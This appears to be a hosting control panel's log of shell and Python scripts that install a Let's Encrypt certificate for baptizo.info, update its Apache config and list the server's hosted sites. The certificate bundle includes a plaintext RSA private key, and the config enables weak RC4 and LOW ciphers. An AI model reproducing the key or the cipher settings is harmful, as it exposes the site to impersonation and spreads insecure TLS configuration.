chmod 666 fOId3xGQi9mecLSpNYfS-eNnoLDXkXc6y3bq5LBt2Lc
cat > q5SB1kTD8DO3c1swAo6cEkPs1EL8-sjzxWTRkwZHdGk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
q5SB1kTD8DO3c1swAo6cEkPs1EL8-sjzxWTRkwZHdGk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 q5SB1kTD8DO3c1swAo6cEkPs1EL8-sjzxWTRkwZHdGk
2025-10-24 06:00:23:
chmod 755 /tmp/pkp497183; /tmp/pkp497183; rm /tmp/pkp497183
2025-10-24 06:00:23:
2025-10-24 06:00:34: Establishing a connection
2025-10-24 06:00:34:
PUT: /tmp/pkp334900
#!/bin/bash
mkdir -p "/var/www/baptizo_www/.well-known/acme-challenge/"
cd "/var/www/baptizo_www/.well-known/acme-challenge/"
rm fOId3xGQi9mecLSpNYfS-eNnoLDXkXc6y3bq5LBt2Lc
rm q5SB1kTD8DO3c1swAo6cEkPs1EL8-sjzxWTRkwZHdGk
2025-10-24 06:00:34:
chmod 755 /tmp/pkp334900; /tmp/pkp334900; rm /tmp/pkp334900
2025-10-24 06:00:34:
2025-10-24 06:00:34: Establishing a connection
2025-10-24 06:00:34:
PUT: /tmp/pkp394021
#!/bin/bash
temp_file=$(mktemp)
TARGET=17284863e127d2ac83178e4d2ecd603a.crt
cat > $temp_file <<'endmsg'
46:66:2d:85:15:44:e9:39:68:27:92:29:aa:1e:98:53
-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBYODphEjC3M4VDmjmfOb0iK1MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDI0MDUwMjAzWhcNMjYwMTIyMDUwMjAyWjAXMRUwEwYDVQQD
EwxiYXB0aXpvLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDk
THZYxJquHBKH7xee8nOU0qQWXLSdqARIdbVEa/vWBiHymaUNge6MU1KdIewFCCuh
VgxLk2Nb3rSklRV+6Q9rkMjxTOga2I2qgXOPxH3jKeHvebPKctZdHkzNaNxUMmzb
svUaHHk4F5/KCPXRhIAOYYJH6OzziUC3iIXvHarebyp4ZtZiYTL7utp6LtaMkAT1
warwzN2gxhpeVA0+D9W/HurmVElcqrpw26ZCBM3Y1sCrtwYwMNkzxjJpYK+J5DZ0
Gp1tKDsc6llxiTHzOmlkrTkDfbPaB8K068nszn4vIhqDJZJPtfwuFKCDXL1Sqv7o
IoeqU2uAzf4Pcrt3g1L3AgMBAAGjggIwMIICLDAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFK+koL6GmP6JQXQY66yZbYzA0tftMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIMYmFwdGl6by5pbmZvghB3d3cuYmFw
dGl6by5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
HWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNTQuY3JsMIIBBgYKKwYBBAHWeQIEAgSB
9wSB9ADyAHcAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGaFM33
CgAABAMASDBGAiEA3HsGV/lyv/7AHCHjCq/w5Iptn3lIOqiSBlXkN87EvXYCIQCy
DlULLCx0JlBIGDY2WjRN6gjYXI1MelkoATHW+WnlxwB3AMs49xWJfIShRF9bwd37
yW7ymlnNRwppBYWwyxTDFFjnAAABmhTN9xkAAAQDAEgwRgIhAN2EjCsDoqkfzKRc
JVyUQPck/Zsyhhm0fJraW6WVl3nwAiEA68hz7KEdrlKPtTC2TVw5VesUGmxUpil1
s0x0w2BfdJYwDQYJKoZIhvcNAQELBQADggEBAHHEf2awENkmvEiuqMDyeC1EB/ZT
4wY/sBSUc8aIpzSnRfty7U54P5KNHsJBclywI9CQ/5WfwvvNWSIm2+WcC/fsouFg
RYNPuG/GqAfRtBhH1V1PNV7bOZhoG39b+PDv1lhROWSjnGXFdSG0OnOdF/3OcWhS
G9YBZVyW7KUusvLfe3fZRIvXCjqSVs6iR57SZdmosPwfjoyA0becmgaJpVD9Gi+n
NQWbrT0/YDiLHdprxUHLFcPGoVkLFF3BpJewODld162FLmoLXq/6IGLkmnE8MV/X
3gzI7fobsBwXRuuQjtbXU+cHOTZBNE2fst5nNNHgQnKA7Bge2S7S+9nQqxk=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDkTHZYxJquHBKH
7xee8nOU0qQWXLSdqARIdbVEa/vWBiHymaUNge6MU1KdIewFCCuhVgxLk2Nb3rSk
lRV+6Q9rkMjxTOga2I2qgXOPxH3jKeHvebPKctZdHkzNaNxUMmzbsvUaHHk4F5/K
CPXRhIAOYYJH6OzziUC3iIXvHarebyp4ZtZiYTL7utp6LtaMkAT1warwzN2gxhpe
VA0+D9W/HurmVElcqrpw26ZCBM3Y1sCrtwYwMNkzxjJpYK+J5DZ0Gp1tKDsc6llx
iTHzOmlkrTkDfbPaB8K068nszn4vIhqDJZJPtfwuFKCDXL1Sqv7oIoeqU2uAzf4P
crt3g1L3AgMBAAECggEBAJI9vK2+Owt+5gv3h10FGC7kA8JjXjuDjkLQS+5pcae2
w/ZAn68YZTO0iD4ppaPPiQtPMI8U+de2wGaRLXTfXEZeN6oCxsezooPvapRUnQNw
J8+cWSQ9Db4Wk8IdAs5Ygsz1RPaV+LyKvYvQ046D3vfXVHo15dtXN4KZzJnQmkzj
GM0XUnryIe+K8/LtxqmFZnhM/T5Fe8u0AvwEFABfAGPqMxz+iisX1KZ2Xtid4uVV
YoqKx9jTjK/xVxJb0yJwi2HfoxauwZEVvX1xo6I9jv7Xt5T1bJ6M3nH2xNz+vBvL
6rxDAv/8mDyg7dNP7ln/wbcWGyLsfynzoPeJFFhEJlECgYEA/8fkuRl19SVvucIw
RvWuXrXS0k/jMi27QUWKsmsauUqimSsWiQnyh8wL4ly3ttgNELYOnXb/EGfB/yy0
LdgQZTY7H6lzgHgOzZ1pitLvY2tiMVSyQ1OiEorIzx3VVqHBsZR6wegy0UxqXqRL
yXiwT1zby3yqw1OI4wUe2wCUIG8CgYEA5H6KX6p+zTWFPRyZzmJ+QIsG6vOSofKT
ub8xw7szHGaQ/1WHW/PMURIt1L6a2S+0QO8Oz3Ph2UO+iup0h7Slim3gVtCLD1ib
O7S2Sop+nfbDoKQMy1rUhO5KItGianyZ0bzLE7U72y3oRWs+Cw4GZUcKcuxFsSgN
I4Jr2tiiKfkCgYBEdLdeYtYTGkXgrXxGQZK9fmRCLWddEqg/O+F3BvtMBBGodMO/
QY5LkezMVIxGv2QfyNn4gtSZC2v8Y3aFnoIk1HLWcn+bLoanuS16HiI7tY2+LjDX
nBaQZ9x+sjlaykgQwvBn3UFcitsdIVO3RDnLw8p/l4oMZNsKB2DOtETwuQKBgGnw
ydOFR3l54SbuhdmNDSB71V9GQ6xWvmuW3En2F8KJQ50/WJ0nsom8Nge3wDAG0Dpz
HJjPD94ebNAX2KO6/C3st+FIm9EnsgHCzepNwFsZOKbYqR34JSTlHvZ54CYjU2ZN
dJLUqsX6yQC2snOJsyluAMg8CCwVd9II/FzhqH5xAoGAQhGtgx8Dn1o7z4MsBplH
De6TTimj+jKe9jb3b+XHZPC7xdL47ag+19LN4ruEt1zLtC1nxFFxs5Ptn2iLX2ce
NFr4Mc2SqdCHW2q2oHhxjoEvJnOMKX9U9knaA/rFEBhHy6jpJVfC+1bkXniSWHiA
tCc7d3rd2xM/8ckLkqeR1Jw=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-24 06:00:34:
chmod 755 /tmp/pkp394021; /tmp/pkp394021; rm /tmp/pkp394021
2025-10-24 06:00:34:
dir=/etc/ssl/certs
2025-10-24 06:00:34:
PUT: /tmp/pkp141167
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/baptizo_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-24 06:00:34:
chmod 755 /tmp/pkp141167; /tmp/pkp141167; rm /tmp/pkp141167
2025-10-24 06:00:34:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/baptizo_www_info.conf 40
<VirtualHost *:80>
ServerName baptizo.info
ServerAlias www.baptizo.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/baptizo_www
<Directory /var/www/baptizo_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/baptizo/www_access.log combined
ErrorLog /var/log/apache2/baptizo/www_error.log
SetEnv pkp_uid 55
SetEnv pkp_owner baptizo
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName baptizo.info
ServerAlias www.baptizo.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
DocumentRoot /var/www/baptizo_www
<Directory /var/www/baptizo_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/baptizo/www_secure_access.log combined
ErrorLog /var/log/apache2/baptizo/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-24 06:00:34:
PUT: /tmp/pkp678160
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=baptizo_www_info.conf
TARGET=/etc/apache2/sites-enabled/baptizo_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName baptizo.info
ServerAlias www.baptizo.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/baptizo_www
<Directory /var/www/baptizo_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/baptizo/www_access.log combined
ErrorLog /var/log/apache2/baptizo/www_error.log
SetEnv pkp_uid 55
SetEnv pkp_owner baptizo
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName baptizo.info
ServerAlias www.baptizo.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
DocumentRoot /var/www/baptizo_www
<Directory /var/www/baptizo_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/baptizo/www_secure_access.log combined
ErrorLog /var/log/apache2/baptizo/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/baptizo_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/baptizo_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/baptizo_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/baptizo_www_info.conf= 1'
fi
2025-10-24 06:00:34:
chmod 755 /tmp/pkp678160; /tmp/pkp678160; rm /tmp/pkp678160
2025-10-24 06:00:34:
2025-10-24 06:00:34:
PUT: /tmp/pkp419711
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-24 06:00:34:
chmod 755 /tmp/pkp419711; /tmp/pkp419711; rm /tmp/pkp419711
2025-10-24 06:00:35:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-24 06:00:35: Establishing a connection
2025-10-24 06:00:35:
PUT: /tmp/pkp559133
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-24 06:00:35:
chmod 755 /tmp/pkp559133; /tmp/pkp559133; rm /tmp/pkp559133
2025-10-24 06:00:35:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
alias www.carelinksaustralia.info
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
alias www.carelinksaustralia.info
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-24 06:00:35:
PUT: /tmp/pkp551218
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/baptizo_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-24 06:00:35:
chmod 755 /tmp/pkp551218; /tmp/pkp551218; rm /tmp/pkp551218
2025-10-24 06:00:35:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/baptizo_www_info.conf 1355
<VirtualHost *:80>
ServerName baptizo.info
ServerAlias www.baptizo.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/baptizo_www
<Directory /var/www/baptizo_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/baptizo/www_access.log combined
ErrorLog /var/log/apache2/baptizo/www_error.log
SetEnv pkp_uid 55
SetEnv pkp_owner baptizo
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName baptizo.info
ServerAlias www.baptizo.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt
DocumentRoot /var/www/baptizo_www
<Directory /var/www/baptizo_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/baptizo/www_secure_access.log combined
ErrorLog /var/log/apache2/baptizo/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-24 06:00:35:
PUT: /tmp/pkp705376
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-24 06:00:35:
chmod 755 /tmp/pkp705376; /tmp/pkp705376; rm /tmp/pkp705376
2025-10-24 06:00:35:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/17284863e127d2ac83178e4d2ecd603a.crt 5368
46:66:2d:85:15:44:e9:39:68:27:92:29:aa:1e:98:53
-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBYODphEjC3M4VDmjmfOb0iK1MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDI0MDUwMjAzWhcNMjYwMTIyMDUwMjAyWjAXMRUwEwYDVQQD
EwxiYXB0aXpvLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDk
THZYxJquHBKH7xee8nOU0qQWXLSdqARIdbVEa/vWBiHymaUNge6MU1KdIewFCCuh
VgxLk2Nb3rSklRV+6Q9rkMjxTOga2I2qgXOPxH3jKeHvebPKctZdHkzNaNxUMmzb
svUaHHk4F5/KCPXRhIAOYYJH6OzziUC3iIXvHarebyp4ZtZiYTL7utp6LtaMkAT1
warwzN2gxhpeVA0+D9W/HurmVElcqrpw26ZCBM3Y1sCrtwYwMNkzxjJpYK+J5DZ0
Gp1tKDsc6llxiTHzOmlkrTkDfbPaB8K068nszn4vIhqDJZJPtfwuFKCDXL1Sqv7o
IoeqU2uAzf4Pcrt3g1L3AgMBAAGjggIwMIICLDAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFK+koL6GmP6JQXQY66yZbYzA0tftMB8GA1UdIwQYMBaAFOernw8sM6BT015P
